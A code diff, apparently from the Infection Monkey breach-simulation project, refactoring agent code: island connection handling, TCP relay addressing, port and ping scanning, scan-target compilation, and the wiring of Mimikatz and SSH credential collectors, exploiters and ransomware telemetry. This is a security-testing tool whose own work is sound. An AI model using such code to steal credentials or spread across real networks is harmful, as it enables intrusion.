from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import (
LegacyTelemetryMessengerAdapter,
)
from infection_monkey.telemetry.state_telem import StateTelem
from infection_monkey.utils import agent_process
from infection_monkey.utils.aws_environment_check import run_aws_environment_check
from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.file_utils import mark_file_for_deletion_on_windows
from infection_monkey.utils.ids import get_agent_id, get_machine_id
from infection_monkey.utils.monkey_dir import (
create_monkey_dir,
get_monkey_dir_path,
@ -111,25 +110,21 @@ class InfectionMonkey:
self._singleton = SystemSingleton()
self._opts = self._get_arguments(args)
self._agent_id = get_agent_id()
self._agent_event_serializer_registry = self._setup_agent_event_serializers()
self._island_address, self._island_api_client = self._connect_to_island_api()
self._cmd_island_ip = self._island_address.ip
self._cmd_island_port = self._island_address.port
server, self._island_api_client = self._connect_to_island_api()
# TODO: `address_to_port()` should return the port as an integer.
self._cmd_island_ip, self._cmd_island_port = address_to_ip_port(server)
self._cmd_island_port = int(self._cmd_island_port)
self._control_client = ControlClient(
server_address=self._island_address, island_api_client=self._island_api_client
server_address=server, island_api_client=self._island_api_client
)
self._control_channel = ControlChannel(
str(self._island_address), self._agent_id, self._island_api_client
)
self._register_agent()
# TODO Refactor the telemetry messengers to accept control client
# and remove control_client_object
ControlClient.control_client_object = self._control_client
self._control_channel = None
self._telemetry_messenger = LegacyTelemetryMessengerAdapter()
self._current_depth = self._opts.depth
self._master = None
@ -139,11 +134,7 @@ class InfectionMonkey:
def _get_arguments(args):
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument("-p", "--parent")
arg_parser.add_argument(
"-s",
"--servers",
type=lambda arg: [SocketAddress.from_string(s) for s in arg.strip().split(",")],
)
arg_parser.add_argument("-s", "--servers", type=lambda arg: arg.strip().split(","))
arg_parser.add_argument("-d", "--depth", type=positive_int, default=0)
opts = arg_parser.parse_args(args)
InfectionMonkey._log_arguments(opts)
@ -151,8 +142,8 @@ class InfectionMonkey:
return opts
# TODO: By the time we finish 2292, _connect_to_island_api() may not need to return `server`
def _connect_to_island_api(self) -> Tuple[Optional[SocketAddress], Optional[IIslandAPIClient]]:
logger.debug(f"Trying to wake up with servers: {', '.join(map(str, self._opts.servers))}")
def _connect_to_island_api(self) -> Tuple[Optional[str], Optional[IIslandAPIClient]]:
logger.debug(f"Trying to wake up with servers: {', '.join(self._opts.servers)}")
server_clients = find_available_island_apis(
self._opts.servers, HTTPIslandAPIClientFactory(self._agent_event_serializer_registry)
)
@ -163,8 +154,7 @@ class InfectionMonkey:
logger.info(f"Successfully connected to the island via {server}")
else:
raise Exception(
"Failed to connect to the island via any known servers: "
f"[{', '.join(map(str, self._opts.servers))}]"
f"Failed to connect to the island via any known servers: {self._opts.servers}"
)
# NOTE: Since we pass the address for each of our interfaces to the exploited
@ -175,30 +165,18 @@ class InfectionMonkey:
return server, island_api_client
def _register_agent(self):
agent_registration_data = AgentRegistrationData(
id=self._agent_id,
machine_hardware_id=get_machine_id(),
start_time=agent_process.get_start_time(),
# parent_id=parent,
parent_id=None, # None for now, until we change GUID to UUID
cc_server=self._island_address,
network_interfaces=get_network_interfaces(),
)
self._island_api_client.register_agent(agent_registration_data)
def _select_server(
self, server_clients: IslandAPISearchResults
) -> Tuple[Optional[SocketAddress], Optional[IIslandAPIClient]]:
self, server_clients: Mapping[str, Optional[IIslandAPIClient]]
) -> Tuple[Optional[str], Optional[IIslandAPIClient]]:
for server in self._opts.servers:
if server_clients[server] is not None:
if server_clients[server]:
return server, server_clients[server]
return None, None
@staticmethod
def _log_arguments(args):
arg_string = ", ".join([f"{key}: {value}" for key, value in vars(args).items()])
arg_string = " ".join([f"{key}: {value}" for key, value in vars(args).items()])
logger.info(f"Monkey started with arguments: {arg_string}")
def start(self):
@ -217,7 +195,7 @@ class InfectionMonkey:
run_aws_environment_check(self._telemetry_messenger)
should_stop = self._control_channel.should_agent_stop()
should_stop = ControlChannel(self._control_client.server_address, GUID).should_agent_stop()
if should_stop:
logger.info("The Monkey Island has instructed this agent to stop")
return
@ -233,21 +211,26 @@ class InfectionMonkey:
if firewall.is_enabled():
firewall.add_firewall_rule()
self._control_channel = ControlChannel(self._control_client.server_address, GUID)
self._control_channel.register_agent(self._opts.parent)
config = self._control_channel.get_config()
relay_port = get_free_tcp_port()
self._relay = TCPRelay(
relay_port,
self._island_address,
IPv4Address(self._cmd_island_ip),
self._cmd_island_port,
client_disconnect_timeout=config.keep_tunnel_open_time,
)
relay_servers = [f"{ip}:{relay_port}" for ip in get_my_ip_addresses()]
if not maximum_depth_reached(config.propagation.maximum_depth, self._current_depth):
self._relay.start()
StateTelem(is_done=False, version=get_version()).send()
self._build_master(relay_port)
self._build_master(relay_servers)
register_signal_handlers(self._master)
@ -258,8 +241,7 @@ class InfectionMonkey:
return agent_event_serializer_registry
def _build_master(self, relay_port: int):
servers = self._build_server_list(relay_port)
def _build_master(self, relay_servers: List[str]):
local_network_interfaces = get_network_interfaces()
# TODO control_channel and control_client have same responsibilities, merge them
@ -267,64 +249,64 @@ class InfectionMonkey:
self._control_channel
)
agent_event_queue = PyPubSubAgentEventQueue(Publisher())
event_queue = PyPubSubAgentEventQueue(Publisher())
self._subscribe_events(
agent_event_queue,
event_queue,
propagation_credentials_repository,
self._control_client.server_address,
self._agent_event_serializer_registry,
)
puppet = self._build_puppet(agent_event_queue)
puppet = self._build_puppet(event_queue)
victim_host_factory = self._build_victim_host_factory(local_network_interfaces)
telemetry_messenger = ExploitInterceptingTelemetryMessenger(
self._telemetry_messenger, self._relay
)
self._master = AutomatedMaster(
self._current_depth,
servers,
self._opts.servers + relay_servers,
puppet,
self._telemetry_messenger,
telemetry_messenger,
victim_host_factory,
self._control_channel,
local_network_interfaces,
propagation_credentials_repository,
)
def _build_server_list(self, relay_port: int) -> Sequence[str]:
my_servers = set(map(str, self._opts.servers))
relay_servers = {f"{ip}:{relay_port}" for ip in get_my_ip_addresses()}
return list(my_servers.union(relay_servers))
def _subscribe_events(
self,
agent_event_queue: IAgentEventQueue,
event_queue: IAgentEventQueue,
propagation_credentials_repository: IPropagationCredentialsRepository,
server_address: str,
agent_event_serializer_registry: AgentEventSerializerRegistry,
):
agent_event_queue.subscribe_type(
event_queue.subscribe_type(
CredentialsStolenEvent,
add_stolen_credentials_to_propagation_credentials_repository(
add_credentials_from_event_to_propagation_credentials_repository(
propagation_credentials_repository
),
)
agent_event_queue.subscribe_all_events(
event_queue.subscribe_all_events(
AgentEventForwarder(self._island_api_client, agent_event_serializer_registry).send_event
)
agent_event_queue.subscribe_type(PropagationEvent, notify_relay_on_propagation(self._relay))
def _build_puppet(
self,
agent_event_queue: IAgentEventQueue,
event_queue: IAgentEventQueue,
) -> IPuppet:
puppet = Puppet(agent_event_queue)
puppet = Puppet()
puppet.load_plugin(
"MimikatzCollector",
MimikatzCredentialCollector(agent_event_queue),
MimikatzCredentialCollector(event_queue),
PluginType.CREDENTIAL_COLLECTOR,
)
puppet.load_plugin(
"SSHCollector",
SSHCredentialCollector(self._telemetry_messenger, agent_event_queue),
SSHCredentialCollector(self._telemetry_messenger, event_queue),
PluginType.CREDENTIAL_COLLECTOR,
)
@ -338,7 +320,7 @@ class InfectionMonkey:
island_api_client=self._island_api_client,
)
exploit_wrapper = ExploiterWrapper(
self._telemetry_messenger, agent_event_queue, agent_binary_repository
self._telemetry_messenger, event_queue, agent_binary_repository
)
puppet.load_plugin(
@ -438,8 +420,8 @@ class InfectionMonkey:
return VictimHostFactory(self._cmd_island_ip, self._cmd_island_port, on_island)
def _running_on_island(self, local_network_interfaces: List[IPv4Interface]) -> bool:
server_ip = self._control_client.server_address.ip
return server_ip in {interface.ip for interface in local_network_interfaces}
server_ip, _ = address_to_ip_port(self._control_client.server_address)
return server_ip in {str(interface.ip) for interface in local_network_interfaces}
def _is_another_monkey_running(self):
return not self._singleton.try_lock()
@ -488,17 +470,17 @@ class InfectionMonkey:
def _close_tunnel(self):
logger.info(f"Quitting tunnel {self._cmd_island_ip}")
notify_disconnect(self._island_address)
notify_disconnect(self._cmd_island_ip, self._cmd_island_port)
def _send_log(self):
monkey_log_path = get_agent_log_path()
if monkey_log_path.is_file():
with open(monkey_log_path, "r") as f:
log_contents = f.read()
log = f.read()
else:
log_contents = ""
log = ""
self._island_api_client.send_log(self._agent_id, log_contents)
self._control_client.send_log(log)
@staticmethod
def _self_delete() -> bool:

View File

@ -4,7 +4,7 @@ import struct
from dataclasses import dataclass
from random import shuffle # noqa: DUO102
from threading import Lock
from typing import Dict, Optional, Set
from typing import Dict, Set
import netifaces
import psutil
@ -25,7 +25,7 @@ RTF_REJECT = 0x0200
@dataclass
class NetworkAddress:
ip: str
domain: Optional[str]
domain: str
def get_host_subnets():

View File

@ -1,10 +1,9 @@
import socket
from ipaddress import IPv4Address
from logging import getLogger
from threading import Lock
from typing import Set
from common.types import SocketAddress
from .consts import SOCKET_TIMEOUT
from .sockets_pipe import SocketsPipe
@ -16,9 +15,9 @@ class TCPPipeSpawner:
Creates bi-directional pipes between the configured client and other clients.
"""
def __init__(self, target_addr: SocketAddress):
self._target_ip = target_addr.ip
self._target_port = target_addr.port
def __init__(self, target_addr: IPv4Address, target_port: int):
self._target_addr = target_addr
self._target_port = target_port
self._pipes: Set[SocketsPipe] = set()
self._lock = Lock()
@ -32,7 +31,7 @@ class TCPPipeSpawner:
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
dest.settimeout(SOCKET_TIMEOUT)
try:
dest.connect((str(self._target_ip), self._target_port))
dest.connect((str(self._target_addr), self._target_port))
except OSError as err:
source.close()
dest.close()

View File

@ -3,7 +3,6 @@ from logging import getLogger
from threading import Lock, Thread
from time import sleep
from common.types import SocketAddress
from infection_monkey.network.relay import (
RelayConnectionHandler,
RelayUserHandler,
@ -23,14 +22,15 @@ class TCPRelay(Thread, InterruptableThreadMixin):
def __init__(
self,
relay_port: int,
dest_address: SocketAddress,
dest_addr: IPv4Address,
dest_port: int,
client_disconnect_timeout: float,
):
self._user_handler = RelayUserHandler(
new_client_timeout=client_disconnect_timeout,
client_disconnect_timeout=client_disconnect_timeout,
)
self._pipe_spawner = TCPPipeSpawner(dest_address)
self._pipe_spawner = TCPPipeSpawner(dest_addr, dest_port)
relay_filter = RelayConnectionHandler(self._pipe_spawner, self._user_handler)
self._connection_handler = TCPConnectionHandler(
bind_host="",

View File

@ -1,10 +1,11 @@
import logging
import socket
from contextlib import suppress
from typing import Dict, Iterable, Iterator, Optional
from ipaddress import IPv4Address
from typing import Dict, Iterable, Iterator, Mapping, MutableMapping, Optional, Tuple
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.types import SocketAddress
from common.network.network_utils import address_to_ip_port
from infection_monkey.island_api_client import (
AbstractIslandAPIClientFactory,
IIslandAPIClient,
@ -26,15 +27,12 @@ logger = logging.getLogger(__name__)
NUM_FIND_SERVER_WORKERS = 32
IslandAPISearchResults = Dict[SocketAddress, Optional[IIslandAPIClient]]
def find_available_island_apis(
servers: Iterable[SocketAddress], island_api_client_factory: AbstractIslandAPIClientFactory
) -> IslandAPISearchResults:
servers: Iterable[str], island_api_client_factory: AbstractIslandAPIClientFactory
) -> Mapping[str, Optional[IIslandAPIClient]]:
server_list = list(servers)
server_iterator = ThreadSafeIterator(server_list.__iter__())
server_results: IslandAPISearchResults = {}
server_results: Dict[str, Tuple[bool, IIslandAPIClient]] = {}
run_worker_threads(
_find_island_server,
@ -47,18 +45,18 @@ def find_available_island_apis(
def _find_island_server(
servers: Iterator[SocketAddress],
server_results: IslandAPISearchResults,
servers: Iterator[str],
server_status: MutableMapping[str, Optional[IIslandAPIClient]],
island_api_client_factory: AbstractIslandAPIClientFactory,
):
with suppress(StopIteration):
server = next(servers)
server_results[server] = _check_if_island_server(server, island_api_client_factory)
server_status[server] = _check_if_island_server(server, island_api_client_factory)
def _check_if_island_server(
server: SocketAddress, island_api_client_factory: AbstractIslandAPIClientFactory
) -> Optional[IIslandAPIClient]:
server: str, island_api_client_factory: AbstractIslandAPIClientFactory
) -> IIslandAPIClient:
logger.debug(f"Trying to connect to server: {server}")
try:
@ -78,28 +76,34 @@ def _check_if_island_server(
return None
def send_remove_from_waitlist_control_message_to_relays(servers: Iterable[SocketAddress]):
def send_remove_from_waitlist_control_message_to_relays(servers: Iterable[str]):
for i, server in enumerate(servers, start=1):
t = create_daemon_thread(
target=notify_disconnect,
target=_send_remove_from_waitlist_control_message_to_relay,
name=f"SendRemoveFromWaitlistControlMessageToRelaysThread-{i:02d}",
args=(server,),
)
t.start()
def notify_disconnect(server_address: SocketAddress):
"""
Tell upstream relay that we no longer need the relay
def _send_remove_from_waitlist_control_message_to_relay(server: str):
ip, port = address_to_ip_port(server)
notify_disconnect(IPv4Address(ip), int(port))
:param server_address: The address of the server to notify
def notify_disconnect(server_ip: IPv4Address, server_port: int):
"""
Tell upstream relay that we no longer need the relay.
:param server_ip: The IP address of the server to notify.
:param server_port: The port of the server to notify.
"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as d_socket:
d_socket.settimeout(LONG_REQUEST_TIMEOUT)
try:
d_socket.connect((str(server_address.ip), server_address.port))
d_socket.connect((str(server_ip), server_port))
d_socket.sendall(RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST)
logger.info(f"Control message was sent to the server/relay {server_address}")
logger.info(f"Control message was sent to the server/relay {server_ip}:{server_port}")
except OSError as err:
logger.error(f"Error connecting to socket {server_address}: {err}")
logger.error(f"Error connecting to socket {server_ip}:{server_port}: {err}")

View File

@ -3,8 +3,6 @@ import select
import socket
import struct
import sys
from ipaddress import IPv4Address
from typing import Optional
from common.common_consts.timeouts import CONNECTION_TIMEOUT
from infection_monkey.network.info import get_routes
@ -15,7 +13,7 @@ BANNER_READ = 1024
logger = logging.getLogger(__name__)
def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False):
def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
"""
Checks if a given TCP port is open
:param ip: Target IP
@ -28,7 +26,7 @@ def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_bann
sock.settimeout(timeout)
try:
sock.connect((str(ip), port))
sock.connect((ip, port))
except socket.timeout:
return False, None
except socket.error as exc:
@ -53,7 +51,7 @@ def tcp_port_to_service(port):
return "tcp-" + str(port)
def get_interface_to_target(dst: str) -> Optional[str]:
def get_interface_to_target(dst):
"""
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'

View File

@ -5,8 +5,13 @@ from typing import Any, Dict
import requests
from common.common_consts.network_consts import ES_SERVICE
from common.types import PingScanData, PortStatus
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
from infection_monkey.i_puppet import (
FingerprintData,
IFingerprinter,
PingScanData,
PortScanData,
PortStatus,
)
DISPLAY_NAME = "ElasticSearch"
ES_PORT = 9200

View File

@ -5,8 +5,13 @@ from typing import Any, Dict, Iterable, Optional, Set, Tuple
from requests import head
from requests.exceptions import ConnectionError, Timeout
from common.types import PingScanData, PortStatus
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
from infection_monkey.i_puppet import (
FingerprintData,
IFingerprinter,
PingScanData,
PortScanData,
PortStatus,
)
logger = logging.getLogger(__name__)

View File

@ -3,8 +3,7 @@ import logging
import socket
from typing import Any, Dict, Optional
from common.types import PingScanData
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData
MSSQL_SERVICE = "MSSQL"
DISPLAY_NAME = MSSQL_SERVICE

View File

@ -4,16 +4,10 @@ import os
import re
import subprocess
import sys
from ipaddress import IPv4Address
from time import time
from typing import Tuple
from common import OperatingSystem
from common.agent_events import PingScanEvent
from common.event_queue import IAgentEventQueue
from common.types import PingScanData
from infection_monkey.i_puppet import PingScanData
from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.ids import get_agent_id
TTL_REGEX = re.compile(r"TTL=([0-9]+)\b", re.IGNORECASE)
LINUX_TTL = 64 # Windows TTL is 128
@ -23,30 +17,27 @@ EMPTY_PING_SCAN = PingScanData(False, None)
logger = logging.getLogger(__name__)
def ping(host: str, timeout: float, agent_event_queue: IAgentEventQueue) -> PingScanData:
def ping(host: str, timeout: float) -> PingScanData:
try:
return _ping(host, timeout, agent_event_queue)
return _ping(host, timeout)
except Exception:
logger.exception("Unhandled exception occurred while running ping")
return EMPTY_PING_SCAN
def _ping(host: str, timeout: float, agent_event_queue: IAgentEventQueue) -> PingScanData:
def _ping(host: str, timeout: float) -> PingScanData:
if is_windows_os():
timeout = math.floor(timeout * 1000)
event_timestamp, ping_command_output = _run_ping_command(host, timeout)
ping_command_output = _run_ping_command(host, timeout)
ping_scan_data = _process_ping_command_output(ping_command_output)
logger.debug(f"{host} - {ping_scan_data}")
ping_scan_event = _generate_ping_scan_event(host, ping_scan_data, event_timestamp)
agent_event_queue.publish(ping_scan_event)
return ping_scan_data
def _run_ping_command(host: str, timeout: float) -> Tuple[float, str]:
def _run_ping_command(host: str, timeout: float) -> str:
ping_cmd = _build_ping_command(host, timeout)
logger.debug(f"Running ping command: {' '.join(ping_cmd)}")
@ -54,8 +45,6 @@ def _run_ping_command(host: str, timeout: float) -> Tuple[float, str]:
# of os.device_encoding(1) will be None. Setting errors="backslashreplace" prevents a crash
# in this case. See #1175 and #1403 for more information.
encoding = os.device_encoding(1)
ping_event_timestamp = time()
sub_proc = subprocess.Popen(
ping_cmd,
stdout=subprocess.PIPE,
@ -75,9 +64,9 @@ def _run_ping_command(host: str, timeout: float) -> Tuple[float, str]:
logger.debug(output)
except subprocess.TimeoutExpired as te:
logger.error(te)
return ping_event_timestamp, ""
return ""
return ping_event_timestamp, output
return output
def _process_ping_command_output(ping_command_output: str) -> PingScanData:
@ -89,8 +78,11 @@ def _process_ping_command_output(ping_command_output: str) -> PingScanData:
# match at all if the group isn't found or the contents of the group are not only digits.
ttl = int(ttl_match.group(1))
# could also be OSX/BSD, but lets handle that when it comes up.
operating_system = OperatingSystem.LINUX if ttl <= LINUX_TTL else OperatingSystem.WINDOWS
operating_system = None
if ttl <= LINUX_TTL:
operating_system = OperatingSystem.LINUX
else: # as far we we know, could also be OSX/BSD, but lets handle that when it comes up.
operating_system = OperatingSystem.WINDOWS
return PingScanData(True, operating_system)
@ -101,15 +93,3 @@ def _build_ping_command(host: str, timeout: float):
# on older version of ping the timeout must be an integer, thus we use ceil
return ["ping", ping_count_flag, "1", ping_timeout_flag, str(math.ceil(timeout)), host]
def _generate_ping_scan_event(
host: str, ping_scan_data: PingScanData, event_timestamp: float
) -> PingScanEvent:
return PingScanEvent(
source=get_agent_id(),
target=IPv4Address(host),
timestamp=event_timestamp,
response_received=ping_scan_data.response_received,
os=ping_scan_data.os,
)

View File

@ -2,31 +2,34 @@ import itertools
import logging
import socket
from ipaddress import IPv4Interface
from typing import Dict, Iterable, List, Optional, Sequence
from typing import Dict, List
from common.network.network_range import InvalidNetworkRangeError, NetworkRange
from infection_monkey.network import NetworkAddress
logger = logging.getLogger(__name__)
# TODO: We can probably reduce code and save ourselves some trouble if we use IPv4Address and
# IPv4Network. See https://docs.python.org/3/library/ipaddress.html
def compile_scan_target_list(
local_network_interfaces: Sequence[IPv4Interface],
ranges_to_scan: Sequence[str],
inaccessible_subnets: Sequence[str],
blocklisted_ips: Sequence[str],
scan_my_networks: bool,
local_network_interfaces: List[IPv4Interface],
ranges_to_scan: List[str],
inaccessible_subnets: List[str],
blocklisted_ips: List[str],
enable_local_network_scan: bool,
) -> List[NetworkAddress]:
scan_targets = _get_ips_from_subnets_to_scan(ranges_to_scan)
if scan_my_networks:
scan_targets.extend(_get_ips_to_scan_from_interface(local_network_interfaces))
if enable_local_network_scan:
scan_targets.extend(_get_ips_to_scan_from_local_interface(local_network_interfaces))
if inaccessible_subnets:
other_targets = _get_segmentation_check_targets(
inaccessible_subnets = _get_segmentation_check_targets(
inaccessible_subnets, local_network_interfaces
)
scan_targets.extend(other_targets)
scan_targets.extend(inaccessible_subnets)
scan_targets = _remove_interface_ips(scan_targets, local_network_interfaces)
scan_targets = _remove_blocklisted_ips(scan_targets, blocklisted_ips)
@ -36,8 +39,8 @@ def compile_scan_target_list(
return scan_targets
def _remove_redundant_targets(targets: Sequence[NetworkAddress]) -> List[NetworkAddress]:
reverse_dns: Dict[str, Optional[str]] = {}
def _remove_redundant_targets(targets: List[NetworkAddress]) -> List[NetworkAddress]:
reverse_dns: Dict[str, str] = {}
for target in targets:
domain_name = target.domain
ip = target.ip
@ -49,15 +52,14 @@ def _remove_redundant_targets(targets: Sequence[NetworkAddress]) -> List[Network
def _range_to_addresses(range_obj: NetworkRange) -> List[NetworkAddress]:
addresses = []
for address in range_obj:
try:
domain = range_obj.domain_name # type: ignore
except AttributeError:
domain = None
addresses.append(NetworkAddress(address, domain))
if hasattr(range_obj, "domain_name"):
addresses.append(NetworkAddress(address, range_obj.domain_name))
else:
addresses.append(NetworkAddress(address, None))
return addresses
def _get_ips_from_subnets_to_scan(subnets_to_scan: Iterable[str]) -> List[NetworkAddress]:
def _get_ips_from_subnets_to_scan(subnets_to_scan: List[str]) -> List[NetworkAddress]:
ranges_to_scan = NetworkRange.filter_invalid_ranges(
subnets_to_scan, "Bad network range input for targets to scan:"
)
@ -66,7 +68,7 @@ def _get_ips_from_subnets_to_scan(subnets_to_scan: Iterable[str]) -> List[Networ
return _get_ips_from_ranges_to_scan(network_ranges)
def _get_ips_from_ranges_to_scan(network_ranges: Iterable[NetworkRange]) -> List[NetworkAddress]:
def _get_ips_from_ranges_to_scan(network_ranges: List[NetworkRange]) -> List[NetworkAddress]:
scan_targets = []
for _range in network_ranges:
@ -74,8 +76,8 @@ def _get_ips_from_ranges_to_scan(network_ranges: Iterable[NetworkRange]) -> List
return scan_targets
def _get_ips_to_scan_from_interface(
interfaces: Sequence[IPv4Interface],
def _get_ips_to_scan_from_local_interface(
interfaces: List[IPv4Interface],
) -> List[NetworkAddress]:
ranges = [str(interface) for interface in interfaces]
@ -86,14 +88,14 @@ def _get_ips_to_scan_from_interface(
def _remove_interface_ips(
scan_targets: Sequence[NetworkAddress], interfaces: Iterable[IPv4Interface]
scan_targets: List[NetworkAddress], interfaces: List[IPv4Interface]
) -> List[NetworkAddress]:
interface_ips = [str(interface.ip) for interface in interfaces]
return _remove_ips_from_scan_targets(scan_targets, interface_ips)
def _remove_blocklisted_ips(
scan_targets: Sequence[NetworkAddress], blocked_ips: Sequence[str]
scan_targets: List[NetworkAddress], blocked_ips: List[str]
) -> List[NetworkAddress]:
filtered_blocked_ips = NetworkRange.filter_invalid_ranges(
blocked_ips, "Invalid blocked IP provided:"
@ -104,14 +106,14 @@ def _remove_blocklisted_ips(
def _remove_ips_from_scan_targets(
scan_targets: Sequence[NetworkAddress], ips_to_remove: Iterable[str]
scan_targets: List[NetworkAddress], ips_to_remove: List[str]
) -> List[NetworkAddress]:
ips_to_remove_set = set(ips_to_remove)
return [address for address in scan_targets if address.ip not in ips_to_remove_set]
def _get_segmentation_check_targets(
inaccessible_subnets: Iterable[str], local_interfaces: Iterable[IPv4Interface]
inaccessible_subnets: List[str], local_interfaces: List[IPv4Interface]
) -> List[NetworkAddress]:
ips_to_scan = []
local_ips = [str(interface.ip) for interface in local_interfaces]
@ -132,17 +134,17 @@ def _get_segmentation_check_targets(
return ips_to_scan
def _convert_to_range_object(subnets: Iterable[str]) -> List[NetworkRange]:
def _convert_to_range_object(subnets: List[str]) -> List[NetworkRange]:
return [NetworkRange.get_range_obj(subnet) for subnet in subnets]
def _is_segmentation_check_required(
local_ips: Sequence[str], subnet1: NetworkRange, subnet2: NetworkRange
local_ips: List[str], subnet1: NetworkRange, subnet2: NetworkRange
):
return _is_any_ip_in_subnet(local_ips, subnet1) and not _is_any_ip_in_subnet(local_ips, subnet2)
def _is_any_ip_in_subnet(ip_addresses: Iterable[str], subnet: NetworkRange):
def _is_any_ip_in_subnet(ip_addresses: List[str], subnet: NetworkRange):
for ip_address in ip_addresses:
if subnet.is_in_range(ip_address):
return True

View File

@ -6,8 +6,13 @@ from typing import Dict
from odict import odict
from common import OperatingSystem
from common.types import PingScanData, PortStatus
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
from infection_monkey.i_puppet import (
FingerprintData,
IFingerprinter,
PingScanData,
PortScanData,
PortStatus,
)
DISPLAY_NAME = "SMB"
SMB_PORT = 445

View File

@ -2,8 +2,7 @@ import re
from typing import Dict, Optional, Tuple
from common import OperatingSystem
from common.types import PingScanData
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData
SSH_REGEX = r"SSH-\d\.\d-OpenSSH"
LINUX_DIST_SSH = ["ubuntu", "debian"]

View File

@ -1,64 +1,39 @@
import logging
import select
import socket
from ipaddress import IPv4Address
import time
from pprint import pformat
from time import sleep, time
from typing import Collection, Dict, Iterable, Mapping, Tuple
from typing import Collection, Iterable, Mapping, Tuple
from common.agent_events import TCPScanEvent
from common.event_queue import IAgentEventQueue
from common.types import PortStatus
from common.utils import Timer
from infection_monkey.i_puppet import PortScanData
from infection_monkey.i_puppet import PortScanData, PortStatus
from infection_monkey.network.tools import BANNER_READ, DEFAULT_TIMEOUT, tcp_port_to_service
from infection_monkey.utils.ids import get_agent_id
logger = logging.getLogger(__name__)
POLL_INTERVAL = 0.5
EMPTY_PORT_SCAN = {-1: PortScanData(-1, PortStatus.CLOSED, None, None)}
EMPTY_PORT_SCAN = {-1: PortScanData(-1, PortStatus.CLOSED, "", "")}
def scan_tcp_ports(
host: str, ports_to_scan: Collection[int], timeout: float, agent_event_queue: IAgentEventQueue
) -> Dict[int, PortScanData]:
host: str, ports_to_scan: Collection[int], timeout: float
) -> Mapping[int, PortScanData]:
try:
return _scan_tcp_ports(host, ports_to_scan, timeout, agent_event_queue)
return _scan_tcp_ports(host, ports_to_scan, timeout)
except Exception:
logger.exception("Unhandled exception occurred while trying to scan tcp ports")
return EMPTY_PORT_SCAN
def _scan_tcp_ports(
host: str, ports_to_scan: Collection[int], timeout: float, agent_event_queue: IAgentEventQueue
) -> Dict[int, PortScanData]:
event_timestamp, open_ports = _check_tcp_ports(host, ports_to_scan, timeout)
def _scan_tcp_ports(host: str, ports_to_scan: Collection[int], timeout: float):
open_ports = _check_tcp_ports(host, ports_to_scan, timeout)
port_scan_data = _build_port_scan_data(ports_to_scan, open_ports)
tcp_scan_event = _generate_tcp_scan_event(host, port_scan_data, event_timestamp)
agent_event_queue.publish(tcp_scan_event)
return port_scan_data
def _generate_tcp_scan_event(
host: str, port_scan_data: Dict[int, PortScanData], event_timestamp: float
):
port_statuses = {port: psd.status for port, psd in port_scan_data.items()}
return TCPScanEvent(
source=get_agent_id(),
target=IPv4Address(host),
timestamp=event_timestamp,
ports=port_statuses,
)
return _build_port_scan_data(ports_to_scan, open_ports)
def _build_port_scan_data(
ports_to_scan: Iterable[int], open_ports: Mapping[int, str]
) -> Dict[int, PortScanData]:
) -> Mapping[int, PortScanData]:
port_scan_data = {}
for port in ports_to_scan:
if port in open_ports:
@ -73,12 +48,12 @@ def _build_port_scan_data(
def _get_closed_port_data(port: int) -> PortScanData:
return PortScanData(port, PortStatus.CLOSED, None, None)
return PortScanData(port, PortStatus.CLOSED, "", "")
def _check_tcp_ports(
ip: str, ports_to_scan: Collection[int], timeout: float = DEFAULT_TIMEOUT
) -> Tuple[float, Dict[int, str]]:
) -> Mapping[int, str]:
"""
Checks whether any of the given ports are open on a target IP.
:param ip: IP of host to attack
@ -95,7 +70,6 @@ def _check_tcp_ports(
connected_ports = set()
open_ports = {}
event_timestamp = time()
try:
logger.debug(
"Connecting to the following ports %s" % ",".join((str(x) for x in ports_to_scan))
@ -124,7 +98,7 @@ def _check_tcp_ports(
while (not timer.is_expired()) and sockets_to_try:
# The call to select() may return sockets that are writeable but not actually
# connected. Adding this sleep prevents excessive looping.
sleep(min(POLL_INTERVAL, timer.time_remaining))
time.sleep(min(POLL_INTERVAL, timer.time_remaining))
sock_objects = [s[1] for s in sockets_to_try]
@ -160,7 +134,7 @@ def _check_tcp_ports(
_clean_up_sockets(possible_ports, connected_ports)
return event_timestamp, open_ports
return open_ports
def _clean_up_sockets(

View File

@ -70,7 +70,7 @@ class Ransomware:
self._send_telemetry(filepath, False, str(ex))
def _send_telemetry(self, filepath: Path, success: bool, error: str):
encryption_attempt = FileEncryptionTelem(filepath, success, error)
encryption_attempt = FileEncryptionTelem(str(filepath), success, error)
self._telemetry_messenger.send_telemetry(encryption_attempt)
@interruptible_function(msg="Received a stop signal, skipping leave readme")

View File

@ -66,7 +66,7 @@ def get_linux_usernames() -> Iterable[str]:
return USERS
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as err:
logger.error(
f"An exception occurred while fetching linux usernames,"
f"An exception occured on fetching linux usernames,"
f"PBA: {POST_BREACH_CLEAR_CMD_HISTORY}: {str(err)}"
)
return []

Some files were not shown because too many files have changed in this diff Show More